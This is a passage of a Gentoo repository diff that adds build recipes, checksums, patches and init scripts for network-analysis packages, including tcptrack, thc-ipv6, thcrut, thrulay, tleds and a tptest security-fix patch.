+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/tcptrack/tcptrack-1.4.2.ebuild b/net-analyzer/tcptrack/tcptrack-1.4.2.ebuild
new file mode 100644
index 000000000000..9aa6d5179183
--- /dev/null
+++ b/net-analyzer/tcptrack/tcptrack-1.4.2.ebuild
@@ -0,0 +1,29 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="Passive per-connection tcp bandwidth monitor"
+HOMEPAGE="http://www.rhythm.cx/~steve/devel/tcptrack/"
+SRC_URI="http://www.rhythm.cx/~steve/devel/tcptrack/release/${PV}/source/${P}.tar.gz"
+
+LICENSE="LGPL-2.1"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86"
+
+DEPEND="
+ net-libs/libpcap
+ sys-libs/ncurses
+"
+RDEPEND="
+ ${DEPEND}
+ virtual/pkgconfig
+"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-tinfo.patch
+ sed -i src/Makefile.am -e 's| -Werror||g' || die
+ eautoreconf
+}
diff --git a/net-analyzer/thc-ipv6/Manifest b/net-analyzer/thc-ipv6/Manifest
new file mode 100644
index 000000000000..add487084d55
--- /dev/null
+++ b/net-analyzer/thc-ipv6/Manifest
@@ -0,0 +1,3 @@
+DIST thc-ipv6-2.3.tar.gz 176918 SHA256 d1e8a3f295931fdc89e200da3c171b9e4922029cc55d11faece9b776ba2fd10a SHA512 d4eff19a0a87ca828d7cf06e9ef9c1e542c0a527949681d08730445e40e90608aaebf778b8ab1cd8d3adeb44fb8cac79607e27704baddf703355a0058ebce4a8 WHIRLPOOL c28369468390ded2421a897b1cff4a52517dcd28d490e1859eaa34a202d6a5715ac30369a423c0ea21e899526db75afbfa2c3c46ebf5a59503fcbe0f9fb07b45
+DIST thc-ipv6-2.5.tar.gz 262015 SHA256 52120bee2da3d25820f021b5c4d6fc79e220e685e2a505b74b48046b608cba8c SHA512 7fc2dda9d83d25c61b3dc8576679e06866fd1144ca39d5e0b43bbd3c4da2583ec37ca901a43a817bdeec19226d3e252624d684f31bc7e94e08bdd811d5fb5466 WHIRLPOOL b4199d2e4443e48c8e44aa1c060b2d5b010a62abcd66bcb77b632d7b91e02272bf7720ed63331a4e9872d5e00157b3d6aff5ec332d27b12450aeb34058513bfe
+DIST thc-ipv6-2.7.tar.gz 661592 SHA256 440a3ae98b57100c397ec4f8634468dbbb0c3b48788c6b74af2a597a90544a96 SHA512 0863ff36109e048a45ec220b98f0e2cf62b7214edcab4afa27a89fc5c0e41469f7e5733efeb56ed0d00cffcf57ceed3d7d32d813e8081d39f1a21e2646e0a0f3 WHIRLPOOL 3c84be3bdb184cc059aabbd13032e6a0b83369f77eda4702277a79cafdadda1f29e43b8613b56e357d1c0e368f1e4df489b7ad3ee18ca6d5796c6a5098726f65
diff --git a/net-analyzer/thc-ipv6/files/thc-ipv6-2.1-Makefile.patch b/net-analyzer/thc-ipv6/files/thc-ipv6-2.1-Makefile.patch
new file mode 100644
index 000000000000..d7b42147ae1e
--- /dev/null
+++ b/net-analyzer/thc-ipv6/files/thc-ipv6-2.1-Makefile.patch
@@ -0,0 +1,24 @@
+--- thc-ipv6-2.1/Makefile
++++ thc-ipv6-2.1/Makefile
+@@ -4,7 +4,7 @@
+
+ CC=gcc
+ #CFLAGS=-g
+-CFLAGS=-O2
++CFLAGS?=-O2
+ CFLAGS+=$(if $(HAVE_SSL),-D_HAVE_SSL,)
+ LDFLAGS+=-lpcap $(if $(HAVE_SSL),-lssl -lcrypto,)
+ PROGRAMS=parasite6 dos-new-ip6 detect-new-ip6 fake_router6 fake_advertise6 fake_solicitate6 fake_mld6 fake_mld26 fake_mldrouter6 flood_mldrouter6 fake_mipv6 redir6 smurf6 alive6 toobig6 rsmurf6 implementation6 implementation6d sendpees6 sendpeesmp6 randicmp6 fuzz_ip6 flood_mld6 flood_mld26 flood_router6 flood_advertise6 flood_solicitate6 trace6 exploit6 denial6 fake_dhcps6 flood_dhcpc6 fake_dns6d fragmentation6 kill_router6 fake_dnsupdate6 ndpexhaust6 detect_sniffer6 dump_router6 fake_router26 flood_router26 passive_discovery6 dnsrevenum6 inverse_lookup6 node_query6 address6 covert_send6 covert_send6d inject_alive6 firewall6 ndpexhaust26 fake_pim6
+@@ -17,10 +17,10 @@
+ all: $(LIBS) $(PROGRAMS) dnssecwalk dnsdict6 thcping6
+
+ dnssecwalk: dnssecwalk.c
+- $(CC) $(CFLAGS) -o $@ $^
++ $(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS)
+
+ dnsdict6: dnsdict6.c
+- $(CC) $(CFLAGS) -o $@ $^ -lpthread -lresolv
++ $(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS) -lpthread -lresolv
+
+ thcping6: thcping6.c $(LIBS)
+ $(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS) -lrt
diff --git a/net-analyzer/thc-ipv6/metadata.xml b/net-analyzer/thc-ipv6/metadata.xml
new file mode 100644
index 000000000000..59acc2cc580e
--- /dev/null
+++ b/net-analyzer/thc-ipv6/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<maintainer>
+<email>xmw@gentoo.org</email>
+<name>Michael Weber</name>
+</maintainer>
+</pkgmetadata>
+
diff --git a/net-analyzer/thc-ipv6/thc-ipv6-2.3.ebuild b/net-analyzer/thc-ipv6/thc-ipv6-2.3.ebuild
new file mode 100644
index 000000000000..cce92b30e763
--- /dev/null
+++ b/net-analyzer/thc-ipv6/thc-ipv6-2.3.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="complete tool set to attack the inherent protocol weaknesses of IPV6 and ICMP6"
+HOMEPAGE="http://freeworld.thc.org/thc-ipv6/"
+SRC_URI="http://freeworld.thc.org/releases/${P}.tar.gz"
+
+LICENSE="GPL-3 openssl"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="ssl"
+
+DEPEND="net-libs/libpcap
+ ssl? ( dev-libs/openssl )"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-2.1-Makefile.patch
+ if ! use ssl ; then
+ sed -e '/^HAVE_SSL/s:^:#:' \
+ -i Makefile
+ fi
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)"
+}
+
+src_install() {
+ emake DESTDIR="${D}" PREFIX="/usr" STRIP="true" install
+ dodoc CHANGES HOWTO-INJECT README
+}
diff --git a/net-analyzer/thc-ipv6/thc-ipv6-2.5.ebuild b/net-analyzer/thc-ipv6/thc-ipv6-2.5.ebuild
new file mode 100644
index 000000000000..c1f83389e330
--- /dev/null
+++ b/net-analyzer/thc-ipv6/thc-ipv6-2.5.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="complete tool set to attack the inherent protocol weaknesses of IPV6 and ICMP6"
+HOMEPAGE="http://freeworld.thc.org/thc-ipv6/"
+SRC_URI="http://freeworld.thc.org/releases/${P}.tar.gz"
+
+LICENSE="AGPL-3 openssl"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="ssl"
+
+DEPEND="net-libs/libpcap
+ ssl? ( dev-libs/openssl )"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-2.1-Makefile.patch
+ if ! use ssl ; then
+ sed -e '/^HAVE_SSL/s:^:#:' \
+ -i Makefile
+ fi
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)"
+}
+
+src_install() {
+ emake DESTDIR="${D}" PREFIX="/usr" STRIP="true" install
+ dodoc CHANGES HOWTO-INJECT README
+}
diff --git a/net-analyzer/thc-ipv6/thc-ipv6-2.7.ebuild b/net-analyzer/thc-ipv6/thc-ipv6-2.7.ebuild
new file mode 100644
index 000000000000..5b38f4e68121
--- /dev/null
+++ b/net-analyzer/thc-ipv6/thc-ipv6-2.7.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="complete tool set to attack the inherent protocol weaknesses of IPV6 and ICMP6"
+HOMEPAGE="http://freeworld.thc.org/thc-ipv6/"
+SRC_URI="http://freeworld.thc.org/releases/${P}.tar.gz"
+
+LICENSE="AGPL-3 openssl"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="ssl"
+
+DEPEND="net-libs/libpcap
+ ssl? ( dev-libs/openssl )"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-2.1-Makefile.patch
+ if ! use ssl ; then
+ sed -e '/^HAVE_SSL/s:^:#:' \
+ -i Makefile
+ fi
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)"
+}
+
+src_install() {
+ emake DESTDIR="${D}" PREFIX="/usr" STRIP="true" install
+ dodoc CHANGES HOWTO-INJECT README
+}
diff --git a/net-analyzer/thcrut/Manifest b/net-analyzer/thcrut/Manifest
new file mode 100644
index 000000000000..c3abf6a88b08
--- /dev/null
+++ b/net-analyzer/thcrut/Manifest
@@ -0,0 +1 @@
+DIST thcrut-1.2.5.tar.gz 660673 SHA256 b32f3d71ac540248b7643baa39d8ecfb75af493228caaeb64608e49f2f092473 SHA512 954f7512bd3e3937796cc065612214ae7d17f70175305ee66951a4e4dc2fcd83c7b15c690f429c7642c9951c2219f86a045418a77e42e3e4a54deac2ae0c46ab WHIRLPOOL c63b9214e0638e937944e9944d1239b94b685e40116a9ed327b2eac57491b749ec6784ac41a21dd76282c771ed18f3a7e5e8e7402719a3bde2feccdcb56f4b42
diff --git a/net-analyzer/thcrut/files/thcrut-1.2.5-configure.patch b/net-analyzer/thcrut/files/thcrut-1.2.5-configure.patch
new file mode 100644
index 000000000000..daa069e22afd
--- /dev/null
+++ b/net-analyzer/thcrut/files/thcrut-1.2.5-configure.patch
@@ -0,0 +1,42 @@
+--- a/configure.in
++++ b/configure.in
+@@ -153,10 +153,8 @@
+ dnl libnet_init_packet only available in < libnet-1.1.x
+ dnl AC_CHECK_LIB(net, libnet_init_packet,, AC_MSG_ERROR(We need libnet.
+ dnl Get libnet from http://www.packetfactory.net or try --with-[[libs,includes]]=DIR))
+-AC_CHECK_LIB(net, libnet_init_packet, [NET=yes], [NET=no])
++AC_CHECK_LIB(net-1.0, libnet_init_packet, [NET=yes], [NET=no])
+ if test x"$NET" = x"no" -o x"$DIST" = x"yes"; then
+- AC_CONFIG_SUBDIRS(Libnet-1.0.2a)
+- THCRUT_SUBDIRS="$THCRUT_SUBDIRS Libnet-1.0.2a"
+ CPPFLAGS="-I../Libnet-1.0.2a/include ${CPPFLAGS}"
+ LDFLAGS="-L../Libnet-1.0.2a/src ${LDFLAGS}"
+ PRG_LIBNET_CONFIG_CFLAGS="../Libnet-1.0.2a/libnet-config --cflags --defines | tr '\n' ' '"
+@@ -164,14 +162,12 @@
+ dnl CFLAGS="`${srcdir}/Libnet-1.0.2a/libnet-config --cflags --defines | tr '\n' ' '` $CFLAGS"
+ dnl LIBS="`${srcdir}/Libnet-1.0.2a/libnet-config --libs` $LIBS"
+ else
+- CFLAGS="`libnet-config --cflags --defines | tr '\n' ' '` $CFLAGS"
+- LIBS="`libnet-config --libs` $LIBS"
++ CFLAGS="`libnet-1.0-config --cflags --defines | tr '\n' ' '` $CFLAGS"
++ LIBS="`libnet-1.0-config --libs` $LIBS"
+ fi
+
+ AC_CHECK_LIB(pcre, pcre_compile, [PCRE=yes], [PCRE=no])
+ if test x"$PCRE" = x"no" -o x"$DIST" = x"yes"; then
+- AC_CONFIG_SUBDIRS(pcre-3.9)
+- THCRUT_SUBDIRS="$THCRUT_SUBDIRS pcre-3.9"
+ CPPFLAGS="-I../pcre-3.9 ${CPPFLAGS}"
+ LDFLAGS="-L../pcre-3.9 ${LDFLAGS}"
+ PRG_PCRE_CONFIG_CFLAGS="../pcre-3.9/pcre-config --cflags"
+@@ -199,8 +195,8 @@
+ AC_OUTPUT(Makefile src/Makefile)
+
+ dnl Just to show the correct values...
+-CFLAGS="`${srcdir}/pcre-3.9/pcre-config --cflags` `${srcdir}/Libnet-1.0.2a/libnet-config --cflags --defines | tr '\n' ' '` $CFLAGS"
+-LIBS="`${srcdir}/pcre-3.9/pcre-config --libs` `${srcdir}/Libnet-1.0.2a/libnet-config --libs` $LIBS"
++CFLAGS="`${srcdir}/pcre-3.9/pcre-config --cflags` `libnet-config --cflags --defines | tr '\n' ' '` $CFLAGS"
++LIBS="`${srcdir}/pcre-3.9/pcre-config --libs` `libnet-config --libs` $LIBS"
+
+ echo "THCrut has been configured with the following options:"
+ echo " User binaries: $B"
diff --git a/net-analyzer/thcrut/files/thcrut-1.2.5-libnet.patch b/net-analyzer/thcrut/files/thcrut-1.2.5-libnet.patch
new file mode 100644
index 000000000000..87488c8c5196
--- /dev/null
+++ b/net-analyzer/thcrut/files/thcrut-1.2.5-libnet.patch
@@ -0,0 +1,65 @@
+--- a/src/arp_main.c
++++ b/src/arp_main.c
+@@ -18 +18 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
+--- a/src/arpg.c
++++ b/src/arpg.c
+@@ -12 +12 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
+--- a/src/dhcp_main.c
++++ b/src/dhcp_main.c
+@@ -14 +14 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
+--- a/src/discover_dispatch.c
++++ b/src/discover_dispatch.c
+@@ -10 +10 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
+--- a/src/discover_main.c
++++ b/src/discover_main.c
+@@ -8 +8 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
+--- a/src/fp.h
++++ b/src/fp.h
+@@ -10 +10 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
+--- a/src/icmp_main.c
++++ b/src/icmp_main.c
+@@ -14 +14 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
+--- a/src/network_raw.c
++++ b/src/network_raw.c
+@@ -10 +10 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
+--- a/src/packets.c
++++ b/src/packets.c
+@@ -6 +6 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
+--- a/src/thcrut.c
++++ b/src/thcrut.c
+@@ -87 +87 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
+--- a/src/thcrut.h
++++ b/src/thcrut.h
+@@ -7 +7 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
+--- a/src/thcrut_libnet.c
++++ b/src/thcrut_libnet.c
+@@ -5 +5 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
+--- a/src/thcrut_libnet.h
++++ b/src/thcrut_libnet.h
+@@ -5 +5 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
diff --git a/net-analyzer/thcrut/metadata.xml b/net-analyzer/thcrut/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/thcrut/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/thcrut/thcrut-1.2.5-r1.ebuild b/net-analyzer/thcrut/thcrut-1.2.5-r1.ebuild
new file mode 100644
index 000000000000..741163887ebe
--- /dev/null
+++ b/net-analyzer/thcrut/thcrut-1.2.5-r1.ebuild
@@ -0,0 +1,30 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="Network discovery and fingerprinting tool"
+HOMEPAGE="http://www.thc.org/thc-rut/"
+SRC_URI="http://www.thc.org/thc-rut/${P}.tar.gz"
+
+LICENSE="free-noncomm PCRE GPL-1+"
+SLOT="0"
+KEYWORDS="amd64 ~ppc sparc x86"
+
+DEPEND="
+ dev-libs/libpcre
+ net-libs/libnet:1.0
+ net-libs/libpcap
+"
+
+src_prepare() {
+ rm -r Libnet-1.0.2a pcre-3.9 || die
+ epatch \
+ "${FILESDIR}"/${P}-libnet.patch \
+ "${FILESDIR}"/${P}-configure.patch
+ eautoreconf
+}
+
+DOCS=( ChangeLog FAQ README TODO thcrutlogo.txt )
diff --git a/net-analyzer/thrulay/Manifest b/net-analyzer/thrulay/Manifest
new file mode 100644
index 000000000000..ea12720a5892
--- /dev/null
+++ b/net-analyzer/thrulay/Manifest
@@ -0,0 +1 @@
+DIST thrulay-0.9.tar.gz 370312 SHA256 373d5613dfe371f6b4f48fc853f6c27701b2981ba4100388c9881cb802d1780d SHA512 9655ef37f6ef3ba51a2fadacf08978fb1c284af6b571dbf76c44e5582bf705bec08170b3b2cc69512b8327485dfd3f758ed2addf510a075558aea70eb4779a6f WHIRLPOOL 224cab8b044d09f2f8ce1f2cece990a6d08fc708596a02509edfaa0a38758d3716235fe1fee55a849f3d180a8acb6fc87499c9769ee8b2931d2d82b0fd03a2a8
diff --git a/net-analyzer/thrulay/files/thrulayd-conf.d b/net-analyzer/thrulay/files/thrulayd-conf.d
new file mode 100644
index 000000000000..bf14b09dafb7
--- /dev/null
+++ b/net-analyzer/thrulay/files/thrulayd-conf.d
@@ -0,0 +1,9 @@
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+# The default window size is 4194304 bytes
+#THRULAYD_WINDOW="4194304"
+
+# By default, thrulayd will listen on 5003/tcp
+#THRULAYD_PORT="5003"
diff --git a/net-analyzer/thrulay/files/thrulayd-init.d b/net-analyzer/thrulay/files/thrulayd-init.d
new file mode 100644
index 000000000000..b791047d4ccb
--- /dev/null
+++ b/net-analyzer/thrulay/files/thrulayd-init.d
@@ -0,0 +1,22 @@
+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ use net
+}
+
+start() {
+ [ -n "${THRULAYD_WINDOW}" ] && THRULAYD_OPTS="${THRULAYD_OPTS} -w${THRULAYD_WINDOW}"
+ [ -n "${THRULAYD_PORT}" ] && THRULAYD_OPTS="${THRULAYD_OPTS} -p${THRULAYD_PORT}"
+ ebegin "Starting thrulayd"
+ start-stop-daemon --start --quiet --exec /usr/sbin/thrulayd -- ${THRULAYD_OPTS}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping thrulayd"
+ start-stop-daemon --stop --quiet --exec /usr/sbin/thrulayd
+ eend $?
+}
diff --git a/net-analyzer/thrulay/metadata.xml b/net-analyzer/thrulay/metadata.xml
new file mode 100644
index 000000000000..0759bb9a19dd
--- /dev/null
+++ b/net-analyzer/thrulay/metadata.xml
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>robbat2@gentoo.org</email>
+ </maintainer>
+ <upstream>
+ <remote-id type="sourceforge">thrulay</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/thrulay/thrulay-0.9-r1.ebuild b/net-analyzer/thrulay/thrulay-0.9-r1.ebuild
new file mode 100644
index 000000000000..59059fea408a
--- /dev/null
+++ b/net-analyzer/thrulay/thrulay-0.9-r1.ebuild
@@ -0,0 +1,31 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+inherit toolchain-funcs autotools
+
+DESCRIPTION="Measure the capacity of a network by sending a bulk TCP stream over it"
+HOMEPAGE="http://www.internet2.edu/~shalunov/thrulay/"
+SRC_URI="http://www.internet2.edu/~shalunov/thrulay/${P}.tar.gz
+ mirror://sourceforge/${PN}/${P}.tar.gz"
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+IUSE=""
+DEPEND=""
+
+src_prepare() {
+ echo 'thrulay thrulayd: libthrulay.la' >>src/Makefile.am
+ eautoreconf
+}
+
+src_install() {
+ emake install DESTDIR="${D}" || die "emake install failed"
+ #dobin src/thrulay || die "dobin failed"
+ #dosbin src/thrulayd || die "dosbin failed"
+ dodoc LICENSE README TODO doc/thrulay-protocol.txt || die "dodoc failed"
+ doman doc/thrulay*.[1-8] || die "doman failed"
+ newinitd "${FILESDIR}"/thrulayd-init.d thrulayd || die "newinitd failed"
+ newconfd "${FILESDIR}"/thrulayd-conf.d thrulayd || die "newconfd failed"
+}
diff --git a/net-analyzer/tleds/Manifest b/net-analyzer/tleds/Manifest
new file mode 100644
index 000000000000..774679913cc2
--- /dev/null
+++ b/net-analyzer/tleds/Manifest
@@ -0,0 +1,2 @@
+DIST tleds-1.05beta10.tgz 28640 SHA256 6d139bdaf9ebc0759954d4a5ad061c87c1a3d9c2d9b674886ce93879e803b47b SHA512 661ac8749c85ce20ffc2851a62ee7691e6cddf3700f4a388465bbdf2faa117d8bd6e316541bc5e2fa81d18f74d47bdd78010b8490124f39b6a1c085c4d345d3a WHIRLPOOL 23d8c6d54e2bbae44da0c49b35d6519f96f1fb85afbbf1fa657f0f00fa08538602a6b934ed7d47b382ba1b33479303928823d9575e45970f772a3580da91a340
+DIST tleds-1.05beta11.patch.bz2 5540 SHA256 a7542930e7e5cf537dc08cbbe70808f57db18c110ae998fc5edef206537bbeb5 SHA512 8c6e5b28e055fd546af97244230560cb22d7def65a8c16e0257d9f41b789394f744a056a95bf7d9f6fb9dcf8ab0bcacfc8fce7c91d0e8be798ae2af4817ce1a4 WHIRLPOOL 5046743da828cb9fd417125ff76d9c4f1bef18e452b800cf6892feb480c5c32ad467076d682dbc242d80aed9ac2f6346c9c88fa868991fce244de361df7a5179
diff --git a/net-analyzer/tleds/files/tleds-1.05_beta11-gentoo.patch b/net-analyzer/tleds/files/tleds-1.05_beta11-gentoo.patch
new file mode 100644
index 000000000000..96e6e3d21d45
--- /dev/null
+++ b/net-analyzer/tleds/files/tleds-1.05_beta11-gentoo.patch
@@ -0,0 +1,53 @@
+--- a/Changes
++++ b/Changes
+@@ -1,4 +1,7 @@
+ VERSION DATE WHAT WAS FIXED OR WHAT WAS/IS NEW
++
++ 2 Jul 2002 2.4/2.5 patch
++
+ 1.05b11 7 Mar 2002 Support for multiple interfaces
+
+ 1.05b7 2 Apr 1998 Keeps LEDs deattached also after VT is reset if run
+--- a/tleds.c
++++ b/tleds.c
+@@ -43,16 +43,6 @@
+ #define VERSION "1.05beta11"
+ #define MYNAME "tleds"
+
+-/* Supported kernel version */
+-/* If you want to compile for Linux 2.1.x add -DKERNEL2_1 to gcc options. */
+-/* Currently kernel v2.1.97 is "tested", older v2.1.x kernels may not work */
+-#ifdef KERNEL2_1
+-#undef KERNEL2_1
+-#define KERNEL2_0 0
+-#else
+-#define KERNEL2_0 1
+-#endif
+-
+ /* If you don't want X stuff. */
+ #ifdef NO_X_SUPPORT
+ #define REMOVE_X_CODE 1
+--- a/Makefile
++++ b/Makefile
+@@ -9,18 +9,18 @@
+
+ # For 2.1.x kernels, you have to include -DKERNEL2_1 option for gcc
+
+-GCCOPTS = -D_GNU_SOURCE -O3 -Wall
++GCCOPTS = -D_GNU_SOURCE $(CFLAGS) $(LDFLAGS) -Wall
+
+ # The first one is if you want to include X code
+ xtleds: tleds.c Makefile
+ # Making xtleds
+- gcc $(GCCOPTS) -o xtleds tleds.c -I /usr/X11R6/include/ -L /usr/X11R6/lib/ -lX11
++ $(CC) $(GCCOPTS) -o xtleds tleds.c -I /usr/include/ -L /usr/lib/ -lX11
+
+ # This second one works only when started in VT. Check the REMOVE_X_CODE
+ # in the source code.
+ tleds: tleds.c Makefile
+ # Making tleds
+- gcc -DNO_X_SUPPORT $(GCCOPTS) -o tleds tleds.c
++ $(CC) -DNO_X_SUPPORT $(GCCOPTS) -o tleds tleds.c
+
+ help:
+ # make help - this.
diff --git a/net-analyzer/tleds/files/tleds.conf.d b/net-analyzer/tleds/files/tleds.conf.d
new file mode 100644
index 000000000000..523995204e24
--- /dev/null
+++ b/net-analyzer/tleds/files/tleds.conf.d
@@ -0,0 +1,7 @@
+# Copyright 2003-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+IFACE="eth0"
+DELAY=50
+EXTRA_OPTS=""
diff --git a/net-analyzer/tleds/files/tleds.init.d b/net-analyzer/tleds/files/tleds.init.d
new file mode 100644
index 000000000000..9470c2a5b0e0
--- /dev/null
+++ b/net-analyzer/tleds/files/tleds.init.d
@@ -0,0 +1,22 @@
+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+
+depend() {
+ need net
+}
+
+start() {
+ ebegin "Starting tleds"
+ /usr/sbin/tleds -d ${DELAY} ${IFACE} ${EXTRA_OPTS} > /dev/null
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping tleds"
+ /usr/sbin/tleds -k > /dev/null
+ eend $?
+}
+
diff --git a/net-analyzer/tleds/metadata.xml b/net-analyzer/tleds/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/tleds/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/tleds/tleds-1.05_beta11-r2.ebuild b/net-analyzer/tleds/tleds-1.05_beta11-r2.ebuild
new file mode 100644
index 000000000000..eb8d01543285
--- /dev/null
+++ b/net-analyzer/tleds/tleds-1.05_beta11-r2.ebuild
@@ -0,0 +1,45 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+MY_P="${P/_/}"
+S="${WORKDIR}/${MY_P/eta11/}"
+DESCRIPTION="Blinks keyboard LEDs indicating outgoing and incoming network packets on selected network interface"
+HOMEPAGE="http://www.hut.fi/~jlohikos/tleds_orig.html"
+SRC_URI="
+ http://www.hut.fi/~jlohikos/tleds/public/${MY_P/11/10}.tgz
+ http://www.hut.fi/~jlohikos/tleds/public/${MY_P}.patch.bz2
+"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+IUSE="X"
+
+DEPEND="X? ( x11-libs/libX11 )"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ # code patches
+ epatch \
+ "${WORKDIR}"/${MY_P}.patch \
+ "${FILESDIR}"/${P}-gentoo.patch
+}
+
+src_compile() {
+ emake CC=$(tc-getCC) $(usex X all tleds)
+}
+
+src_install() {
+ dosbin tleds
+ use X && dosbin xtleds
+
+ doman tleds.1
+ dodoc README Changes
+
+ newinitd "${FILESDIR}"/tleds.init.d tleds
+ newconfd "${FILESDIR}"/tleds.conf.d tleds
+}
diff --git a/net-analyzer/tptest/Manifest b/net-analyzer/tptest/Manifest
new file mode 100644
index 000000000000..69329a746bc4
--- /dev/null
+++ b/net-analyzer/tptest/Manifest
@@ -0,0 +1 @@
+DIST tptest-3.1.7.tar.gz 313801 SHA256 db39257b3ee6408a575e16804975df1e68f52270537cc3e7505897b777f7994d SHA512 c78fdbc561adbe109be9fc45a2dbd5c452235525ac4d5f24e39fd8824825fd02c35853411c3f4ae1870f98b576df37f3f1f1266de7c40edcb8f35c69b9063c59 WHIRLPOOL f19631cc2e9d8ed3272cfb81da3c003e26ef6d80b35de57eb793157b2acadf65eb85179afa3138ec83722b9b5b70b0b4f800381ef43d3d56072018be3838ac15
diff --git a/net-analyzer/tptest/files/tptest-3.1.7-getstatsfromlinevuln.patch b/net-analyzer/tptest/files/tptest-3.1.7-getstatsfromlinevuln.patch
new file mode 100644
index 000000000000..4b7fd209f9e4
--- /dev/null
+++ b/net-analyzer/tptest/files/tptest-3.1.7-getstatsfromlinevuln.patch
@@ -0,0 +1,150 @@
+--- a/engine/tpcommon.c
++++ b/engine/tpcommon.c
+@@ -37,6 +37,8 @@
+ #include <stdio.h>
+ #include <string.h>
+ #include <stdarg.h>
++#include <stdlib.h>
++#include <stddef.h>
+
+ #ifdef UNIX
+ #include <sys/time.h>
+@@ -194,68 +196,76 @@ done:
+
+
+ // Fill a tpStats structure with the contents from a STATS line
+-int GetStatsFromLine(char *line, TPStats *s)
++int GetStatsFromLine(const char *line, TPStats *s)
+ {
+ char valBuf[30];
++ char * stats_ptr = NULL;
+
+ if (strncmp(line, "STATS ", 6) != 0)
+ return -1;
+- memset(valBuf, 0, 30);
++ memset(valBuf, 0, sizeof(valBuf));
++ stats_ptr = ((char *)line)+6;
+
+- if (CopyTagField(valBuf, 29, line+6, "majorv"))
+- s->MajorVersion = atoi(valBuf);
+- if (CopyTagField(valBuf, 29, line+6, "minorv"))
+- s->MinorVersion = atoi(valBuf);
+- if (CopyTagField(valBuf, 29, line+6, "pktssent"))
